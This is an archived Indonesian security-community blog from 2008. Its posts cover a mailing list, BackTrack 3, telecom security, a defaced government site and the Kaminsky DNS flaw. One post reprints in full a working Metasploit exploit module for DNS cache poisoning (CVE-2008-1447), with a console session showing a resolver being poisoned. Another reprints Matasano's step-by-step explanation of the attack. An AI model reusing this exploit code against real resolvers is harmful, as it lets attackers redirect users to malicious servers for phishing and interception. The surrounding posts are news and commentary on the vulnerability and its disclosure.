Kecoak Elektronik Indonesia

August 4, 2008

It just…unique to see it

Filed under: K-Elektronik — staff @ 3:53 am

Terdapat 3 permintaan keanggotaan yang tertunda.

20.7.2008 20:34     dari -cencored-@gmail.com
saya ini admin sering kecolongan oleh para hacker dan craker,, saya pengin minta kita bisa saling sharing….
Tindakan: Setuju Tolak Hapus Tidak ada
18.7.2008 22:14     dari -cencored-@gmail.com
Saya pemula di dunia keamanan jaringan komputer (computer network and security) dan saya ingin belajar tentangnya di milis yang digawangi komunitas bawah tanah yang sangat terkenal ini. Terima kasih.
Tindakan: Setuju Tolak Hapus Tidak ada
18.7.2008 23:52     dari -cencored-@gmail.com
Gue bekerja sebagai web developer. Sangat menyukai perkembangan dunia elektronik terutama yang berkaitan dengan komputer dan internet. regards, kaitokid
Tindakan: Setuju Tolak Hapus Tidak ada

Diantara request untuk join mailing list kecoak elektronik indonesia di googlegroups, rasanya cukup unik melihat alasan bergabung 3 orang tersebut. Biasanya memberikan alasan yang seadanya saja :).

Sayang sekali fitur mailing list tersebut belum dapat dimanfaatkan dengan baik, padahal sudah cukup banyak yang bergabung.

Anyway, approved!

July 28, 2008

BackTrack 3 Final

Filed under: News — staff @ 9:34 pm

No GUI installer. Jadi untuk install ke harddisk/usb harus menggunakan command line:

1) Copy file satu per satu dari cd ke harddisk

2) Chroot ke sistem linux yang di harddisk

3) Reload boot loader ke MBR harddisk

3 prinsip yang sangat tidak asing bagi para pengguna Gentoo ;). Check the complete step from here . Just installed it on MacBook easily.

Snapshot?!

Backtrack on Macbook

July 25, 2008

Telecom Security Auditing?!

Filed under: Telco, Various Technology — staff @ 7:26 pm

Information Systems Security has been an issue of paramount concern to many organisations particularly in this era where convergence between telecommunication and Information Technologies (IT) is prevalent. Telecommunication networks are currently offering services that were traditionally confined to conventional packet-switched networks. As a result of such developments these networks are now facing the same security challenges as those that have been confronting packet switched networks all along. The security risks are even higher when it comes to mobile telecommunication services, basically because of the mobility offered by such networks. The risks are also set to increase as the networks are gradually evolving to the next generation of only IP based networks. It is against this backdrop that the *tiiiit* Director of IT & Billing set up a task force responsible for developing a security framework that will guide testing of all systems sourced from third parties to ensure they adhere to security best practices and standards.

Sebelumnya pernah dibahas implementasi protokol IP pada bidang telekomunikasi dimana teknologi tersebut dibutuhkan salah satunya karena kebutuhan bandwidth yang semakin tinggi. Implementasi teknologi IP pada infrastruktur core telekomunikasi telah berkembang sangat pesat. Pemanfaatan teknologi seperti SCTP, SIGTRAN pada network protokol hingga pemanfaatan CORBA, XML, HttpServ, SPML, SOAP over HTTP, LDAP, dll pada sisi aplikasi merupakan peningkatan teknologi telekomunikasi saat ini, bisa dibilang dunia 3G dan selanjutnya merupakan hasil merger antara teknologi internet (IP based) dan teknologi telecom (SS7 based). Dan cukup banyak teknologi IP Based merupakan implementasi open protocol yang sifatnya open source.

Quote diatas merupakan salah satu bentuk request operator teknologi telekomunikasi untuk peningkatan security infrastruktur yang mereka miliki. Jika dahulu tidak banyak security profesional yang bisa menyentuh bidang telekomunikasi dikarenakan basic pengetahuan yang mereka miliki umumnya berdasarkan IP based technology (telekomunikasi merupakan industry oriented, sehingga hanya orang-orang yang berkecimpung didalamnya memiliki kesempatan mempelajari teknologi tersebut secara mendalam) maka saat ini security profesional sudah selayaknya memiliki basic pengetahuan di bidang teknologi telekomunikasi. At least, mengerti bagaimana mekanisme teknologi GSM/UMTS bekerja ;).

Perpindahan teknologi ke IP based menyebabkan mesin-mesin telekomunikasi semakin dapat dijangkau oleh teknologi security dan semakin besar kemungkinan untuk didapatkan security hole.

So, perkembangan teknologi telekomunikasi ini akan menambah luas jangkauan para security consultant / security profesional atau memperbanyak lahan jajahan para hacker?!atau keduanya?!

Have I mentioned we’ll use Linux for next generation telco?!

Then the sploit is all around…

Filed under: Eksploit — Cyberheb @ 3:34 pm

Sangat mudah diduga, dengan hitungan jam setelah disclosure bug, exploit untuk DNS sudah bertebaran. Sebagai informasi, tidak semua organisasi/perusahaan melakukan update system secara berkala (terutama di Indonesia). DNS merupakan infrastruktur yang sangat crucial dalam dunia internet, apabila suatu DNS bisa di control isinya, maka kita dapat dengan mudah mengontrol para pengguna lain yang menggunakan DNS tersebut dengan mengarahkannya pada server pribadi (contoh: redirect url untuk internet banking).

This (attack takes) ten seconds to hijack the net. . . . Unless you like other people reading your e-mail, go patch. If you want to actually see Google and Yahoo and MySpace and Facebook and the entire web, if you actually want to see the correct web sites, go patch. The debate about whether this bug is new or old is ultimately useless. In ten seconds, the ISP DNS servers are taken over . — Dan Kaminsky

Well, I choose metasploit for this anyway since it’s easy to understand the pattern of bailiwicked attack with this sploit (created by |)ruid & HDM). Metasploit menggunakan scruby (implementasi scapy dengan ruby pada metasploit) untuk manipulasi paket spoofing.

################# DNS protocol exploit by Metasploi

____      ____     __    __
/    \    /    \   |  |  |  |
—-====####/  /\__\##/  /\  \##|  |##|  |####====—-
|  |      |  |__|  | |  |  |  |
|  |  ___ |   __   | |  |  |  |
——======######\  \/  /#|  |##|  |#|  |##|  |######======——
\____/  |__|  |__|  \______/

Computer Academic Underground
http://www.caughq.org
Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0002
Release Date:   2008.07.23
Title:          bailiwicked_host.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email:   I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious host entry
into the target nameserver.  By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.

Example
=======

# /msf3/msfconsole

_                  _       _ _
| |                | |     (_) |
_ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| ‘_ ` _ \ / _ \ __/ _` / __| ‘_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|

=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name      Current Setting    Required  Description
----      ---------------    --------  -----------
HOSTNAME  pwned.example.com  yes       Hostname to hijack
NEWADDR   1.3.3.7            yes       New address for hostname
RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
RHOST                        yes       The target address
SRCPORT                      yes       The target server's source query port (0 for automatic)
XIDS      10                 yes       Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability…
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.’s nameservers…
[*]  Got answer with 2 answers, 0 authorities
[*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com….
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com….
[*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com….
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com….
[*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178…
[*] Sent 1000 queries and 20000 spoofed responses…
[*] Sent 2000 queries and 40000 spoofed responses…
[*] Sent 3000 queries and 60000 spoofed responses…
[*] Sent 4000 queries and 80000 spoofed responses…
[*] Sent 5000 queries and 100000 spoofed responses…
[*] Sent 6000 queries and 120000 spoofed responses…
[*] Sent 7000 queries and 140000 spoofed responses…
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server:         A.B.C.D
Address:        A.B.C.D#53

Non-authoritative answer:
Name:   pwned.example.com
Address: 1.3.3.7

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113

Metasploit
==========

require ‘msf/core’
require ‘net/dns’
require ’scruby’
require ‘resolv’

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

include Exploit::Remote::Ip

def initialize(info = {})
super(update_info(info,
‘Name’           => ‘DNS BailiWicked Host Attack’,
‘Description’    => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections.  Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
‘Author’         => [ 'I)ruid', 'hdm' ],
‘License’        => MSF_LICENSE,
‘Version’        => ‘$Revision: 5585 $’,
‘References’     =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
‘Privileged’     => true,
‘Targets’        =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
‘DisclosureDate’ => ‘Jul 21 2008′
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new(’HOSTNAME’, [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new(’NEWADDR’, [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new(’RECONS’, [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new(’XIDS’, [true, 'Number of XIDs to try for each query', 10]),
OptInt.new(’TTL’, [true, 'TTL for the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify exploitability…")
srv_sock = Rex::Socket.create_udp(
‘PeerHost’ => targ,
‘PeerPort’ => 53
)

random = false
ports  = []
lport  = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join(”) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(’:')

print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport  = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status("      This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end

def run
target   = rhost()
source   = Rex::Socket.source_address(target)
sport    = datastore['SRCPORT']
hostname = datastore['HOSTNAME'] + ‘.’
address  = datastore['NEWADDR']
recons   = datastore['RECONS']
xids     = datastore['XIDS'].to_i
ttl      = datastore['TTL'].to_i
xidbase  = rand(4)+2*10000

domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

srv_sock = Rex::Socket.create_udp(
‘PeerHost’ => target,
‘PeerPort’ => 53
)

# Get the source port via the metasploit service if it’s not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join(”) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(’:')
sport = t_port.to_i

print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver’s query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname  and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status("         Cache entry expires on #{t.to_s}… sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}’s nameservers…"
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == ‘NS’
print_status "  Querying recon nameserver for address of #{rr0.nsdname}…"
answer1 = res0.send(rr0.nsdname) # get the ns’s answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}…"
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}…")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) + ‘.’ + domain # randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
Scruby::IP.new(
#:src   => barbs[0][:addr].to_s,
:src   => source,
:dst   => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src   => barbs[i][:addr].to_s,
:src   => barb[:addr].to_s,
:dst   => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses…")
end

# every so often, check and see if the target is poisoned…
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end

July 23, 2008

DNS Vuln Leaked

Filed under: News — Cyberheb @ 12:36 pm

Tiap orang berpendapat beda-beda, namun rasanya memang cukup aneh jika informasi tentang DNS vuln yang membuat masyarakat penasaran leaked begitu saja. Dimulai dari posting halvar flake pada mailing list dailydave yang awalnya mempertanyakan apakah salah jika berspekulasi tentang DNS bugs karena Dan Kaminsky membuat pernyataan kepada publik untuk tidak berdiskusi tentang DNS bugs yang akan di presentasikan nya di blackhat mendatang. Spekulasi halvar dijadikan sebagai alasan atau referensi bagi matasano untuk memposting informasi lebih lengkap tentang bugs DNS tersebut.

Thomas ptacek dan Dino Dai Zovi dari matasano sempat melakukan teleconference khusus dengan Dan Kaminsky mengenai bugs DNS, dan bisa dikatakan bahwa mereka mendapatkan informasi cukup lengkap dan berjanji untuk tidak mempublish kepada masyarakat. Tapi sepertinya skenario berubah, dan postingan matasano tentang informasi DNS tersebut dinyatakan ‘kecelakaan’ . Postingan matasano menjadikan spekulasi halvar sebagai referensi. Dan sekarang, kredibilitas Thomas mulai dipertanyakan karena tidak bisa menjaga rahasia dengan baik dan membuatnya leak ke internet (walaupun postingan matasano sudah di hapus dari blog, namun sudah menyebar luas di internet via blog / feed).

Mungkin benar kata Stephen Esser, semua ini hanya bentuk lain dari drama theater yang skenarionya sudah dipersiapkan sebelumnya. Atau hanya persaingan antar white-hat yang ‘terpesona’ dengan metode patch Dan Kaminsky yang belum pernah dilakukan sebelumnya dan dengan segala cara ingin merusak jalan cerita?! layaknya naluri hacker yang ingin terus merusak alur program dengan kutak katik EIP dan bypass ASLR maupun DEP atau /GS?! Well, apapun ceritanya bugs DNS ini tetap menarik, kalaupun bugs ini berbeda dengan bugs DNS yang ditemukan oleh Dan Kaminsky maka spekulasi halvar flake merupakan jenis bugs yang cukup berbahaya juga.

Anyway, ini postingan dari Matasano yang memeberikan gambaran cukup lengkap tentang bugs pada protokol DNS (yap, protokol, itu sebabnya cukup sulit ditemukan oleh researcher biasa yang umumnya tidak memahami protokol dengan baik).

######################### By Matasano

Reliable DNS Forgery in 2008: Kaminsky’s Discovery

0.

The cat is out of the bag. Yes, Halvar Flake figured out the flaw Dan Kaminsky will announce at Black Hat.

1.

Pretend for the moment that you know only the basic function of DNS — that it translates WWW.VICTIM.COM into 1.2.3.4. The code that does this is called a resolver. Each time the resolver contacts the DNS to translate names to addresses, it creates a packet called a query. The exchange of packets is called a transaction. Since the number of packets flying about on the internet requires scientific notation to express, you can imagine there has to be some way of not mixing them up.

Bob goes to to a deli, to get a sandwich. Bob walks up to the counter, takes a pointy ticket from a round red dispenser. The ticket has a number on it. This will be Bob’s unique identifier for his sandwich acquisition transaction. Note that the number will probably be used twice — once when he is called to the counter to place his order and again when he’s called back to get his sandwich. If you’re wondering, Bob likes ham on rye with no onions.

If you’ve got this, you have the concept of transaction IDs, which are numbers assigned to keep different transactions in order. Conveniently, the first sixteen bits of a DNS packet is just such a unique identifier. It’s called a query id (QID). And with the efficiency of the deli, the QID is used for multiple transactions.

2.

Until very recently, there were two basic classes of DNS vulnerabilities. One of them involves mucking about with the QID in DNS packets and the other requires you to know the Deep Magic.

First, QIDs.

Bob’s a resolver and Alice is a content DNS server. Bob asks Alice for the address of WWW.VICTIM.COM. The answer is 1.2.3.4. Mallory would like the answer to be 6.6.6.0.

It is a (now not) secret shame of mine that for a great deal of my career, creating and sending packets was, to me, Deep Magic. Then it became part of my job, and I learned that it is surprisingly trivial. So put aside the idea that forging IP packets is the hard part of poisoning DNS. If I’m Mallory and I’m attacking Bob, how can he distinguish my packets from Alice’s? Because I can’t see the QID in his request, and the QID in my response won’t match. The QID is the only thing protecting the DNS from Mallory (me).

QID attacks began in the olden days, when BIND simply incremented the QID with every query response. If you can remember 1995, here’s a workable DNS attack. Think fast: 9372 + 1. Did you get 9372, or even miss and get 9373? You win, Alice loses. Mallory sends a constant stream of DNS responses for WWW.VICTIM.COM. All are quietly discarded —- until Mallory gets Bob to query for WWW.VICTIM.COM. If Mallory’s response gets to your computer before the legitimate response arrives from your ISP’s name server, you will be redirected where Mallory tells you you’re going.

Obvious fix: you want the QID be randomly generated. Now Alice and Mallory are in a race. Alice sees Bob’s request and knows the QID. Mallory has to guess it. The first one to land a packet with the correct QID wins. Randomized QIDs give Alice a big advantage in this race.

But there’s a bunch more problems here:

If you convince Bob to ask Alice the same question 1000 times all at once, and Bob uses a different QID for each packet, you made the race 1000 times easier for Mallory to win.

If Bob uses a crappy random number generator, Mallory can get Bob to ask for names she controls, like WWW.EVIL.COM, and watch how the QIDs bounce around; eventually, she’ll break the RNG and be able to predict its outputs.

16 bits just isn’t big enough to provide real security at the traffic rates we deal with in 2008.

Your computer’s resolver is probably a stub. Which means it won’t really save the response. You don’t want it to. The stub asks a real DNS server, probably run by your ISP. That server doesn’t know everything. It can’t, and shouldn’t, because the whole idea of DNS is to compensate for the organic and shifting nature of internet naming and addressing. Frequently, that server has to go ask another, and so on. The cool kids call this “recursion”.

Responses carry another value, too, called a time to live (TTL). This number tells your name server how long to cache the answer. Why? Because they deal with zillions of queries. Whoever wins the race between Alice and Mallory, their answer gets cached. All subsequent responses will be dropped. All future requests for that same data, within the TTL, come from that answer. This is good for whoever wins the race. If Alice wins, it means Mallory can’t poison the cache for that name. If Mallory wins, the next 10,000 or so people that ask that cache where WWW.VICTIM.COM is go to 6.6.6.0.

3.

Then there’s that other set of DNS vulnerabilities. These require you to pay attention in class. They haven’t really been talked about since 1997. And they’re hard to find, because you have to understand how DNS works. In other words, you have to be completely crazy. Lazlo Hollyfeld crazy. I’m speaking of course of RRset poisoning.

DNS has a complicated architecture. Not only that, but not all name servers run the same code. So not all of them implement DNS in exactly the same way. And not only that, but not all name servers are configured properly.

I just described a QID attack that poisons the name server’s cache. This attack requires speed, agility and luck, because if the “real” answer happens to arrive before your spoofed one, you’re locked out. Fortunately for those of you that have a time machine, some versions of DNS provide you with another way to poison the name server’s cache anyway. To explain it, I will have to explain more about the format of a DNS packet.

DNS packets are variable in length and consist of a header, some flags and resource records (RRs). RRs are where the goods ride around. There are up to three sets of RRs in a DNS packet, along with the original query. These are:

Answer RR’s, which contain the answer to whatever question you asked (such as the A record that says WWW.VICTIM.COM is 1.2.3.4)

Authority RR’s, which tell resolvers which name servers to refer to to get the complete answer for a question

Additional RR’s, sometimes called “glue”, which contain any additional information needed to make the response effective.

A word about the Additional RR’s. Think about an NS record, like the one that COM’s name server uses to tell us that, to find out where WWW.VICTIM.COM is, you have to ask NS1.VICTIM.COM. That’s good to know, but it’s not going to help you unless you know where to find NS1.VICTIM.COM. Names are not addresses. This is a chicken and egg problem. The answer is, you provide both the NS record pointing VICTIM.COM to NS1.VICTIM.COM, and the A record pointing NS1.VICTIM.COM to 1.2.3.1.

Now, let’s party like it’s 1995.

Download the source code for a DNS implementation and hack it up such that every time it sends out a response, it also sends out a little bit of evil — an extra Additional RR with bad information. Then let’s set up an evil server with it, and register it as EVIL.COM. Now get a bunch of web pages up with IMG tags pointing to names hosted at that server.

Bob innocently loads up a page with the malicious tags which coerces his browser resolve that name. Bob asks Alice to resolve that name. Here comes recursion: eventually the query arrives at our evil server. Which sends back a response with an unexpected (evil) Additional RR.

If Alice’s cache honors the unexpected record, it’s 1995 —- buy CSCO! —- and you just poisoned their cache. Worse, it will replace the “real” data already in the cache with the fake data. You asked where WWW.EVIL.COM was (or rather, the image tags did). But Alice also “found out” where WWW.VICTIM.COM was: 6.6.6.0. Every resolver that points to that name server will now gladly forward you to the website of the beast.

4.

It’s not 1995. It’s 2008. There are fixes for the attacks I have described.

Fix 1:

The QID race is fixed with random IDs, and by using a strong random number generator and being careful with the state you keep for queries. 16 bit query IDs are still too short, which fills us with dread. There are hacks to get around this. For instance, DJBDNS randomizes the source port on requests as well, and thus won’t honor responses unless they come from someone who guesses the ~16 bit source port. This brings us close to 32 bits, which is much harder to guess.

Fix 2:

The RR set poisoning attack is fixed by bailiwick checking, which is a quirky way of saying that resolvers simply remember that if they’re asking where WWW.VICTIM.COM is, they’re not interested in caching a new address for WWW.GOOGLE.COM in the same transaction.

Remember how these fixes work. They’re very important.

And so we arrive at the present day.

5.

Let’s try again to convince Bob that WWW.VICTIM.COM is 6.6.6.0.

This time though, instead of getting Bob to look up WWW.VICTIM.COM and then beating Alice in the race, or getting Bob to look up WWW.EVIL.COM and slipping strychnine into his ham sandwich, we’re going to be clever (sneaky).

Get Bob to look up AAAAA.VICTIM.COM. Race Alice. Alice’s answer is NXDOMAIN, because there’s no such name as AAAAA.VICTIM.COM. Mallory has an answer. We’ll come back to it. Alice has an advantage in the race, and so she likely beats Mallory. NXDOMAIN for AAAAA.VICTIM.COM.

Alice’s advantage is not insurmountable. Mallory repeats with AAAAB.VICTIM.COM. Then AAAAC.VICTIM.COM. And so on. Sometime, perhaps around CXOPQ.VICTIM.COM, Mallory wins! Bob believes CXOPQ.VICTIM.COM is 6.6.6.0!

Poisoning CXOPQ.VICTIM.COM is not super valuable to Mallory. But Mallory has another trick up her sleeve. Because her response didn’t just say CXOPQ.VICTIM.COM was 6.6.6.0. It also contained Additional RRs pointing WWW.VICTIM.COM to 6.6.6.0. Those records are in-bailiwick: Bob is in fact interested in VICTIM.COM for this query. Mallory has combined attack #1 with attack #2, defeating fix #1 and fix #2. Mallory can conduct this attack in less than 10 seconds on a fast Internet link.

July 14, 2008

Dept Keuangan Deface Style - “by Chinese Hacker?!”

Filed under: Websecurity — staff @ 2:35 pm

Image Hosted by ImageShack.us

Sampai sekarang status situs Departemen Keuangan masih seperti itu jika kita browsing menggunakan Firefox dengan feature safe browsing Google. Berikut ini hasil analisis google:

Of the 200 pages we tested on the site over the past 90 days, 2 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 07/06/2008, and the last time suspicious content was found on this site was on 07/03/2008.

Malicious software includes 8 trojan(s), 1 scripting exploit(s). Successful infection resulted in an average of 5 new processes on the target machine.

Malicious software is hosted on 7 domain(s), including heihei117.cn , o7n9.cn , killpp.cn .

3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including heihei117.cn , qiqicc.cn , maigol.cn .

Mungkin situs Departemen Keuangan Indonesia masuk dalam daftar korban mass-sql-attack yang dilancarkan group hacking beberapa bulan terakhir (diindikasikan group ini berasal dari china, tapi siapapun bisa setup hosting di china). Ronald Van Den Heetkamp pernah membahas masalah ini pada blognya .

Hm, sepertinya aksi deface group ini lebih ‘menantang’ dibandingkan aksi deface orang-orang Indonesia, bukan begitu ?! ;)

Do Not Try It @home kidds!

Still about DNS bugs…

Filed under: News — Cyberheb @ 12:00 am

Ramai sekali perbincangan mengenai hole DNS yang ditemukan oleh Dan Kaminsky, dan banyak orang-orang jenius dari komunitas security angkat bicara, yang paling menarik perhatian adalah tim Matasano dimana Thomas Ptacek mempertanyakan tentang sikap Dan Kaminsky yang menunda full-disclosure hingga event blackhat mendatang. Termasuk mempertanyakan keseriusan hole tersebut karena menurut ptacek (berdasarkan patch yang di applied oleh vendor) hole ini hanya variasi dari serangan cache poisoning terhadap DNS. Cache poisoning sebelumnya bermasalah dikarenakan source port udp yang digunakan oleh DNS server dapat diprediksi dengan mudah, hal ini dapat membuat cache suatu dns server ‘teracuni’ dan diarahkan ke server attacker.

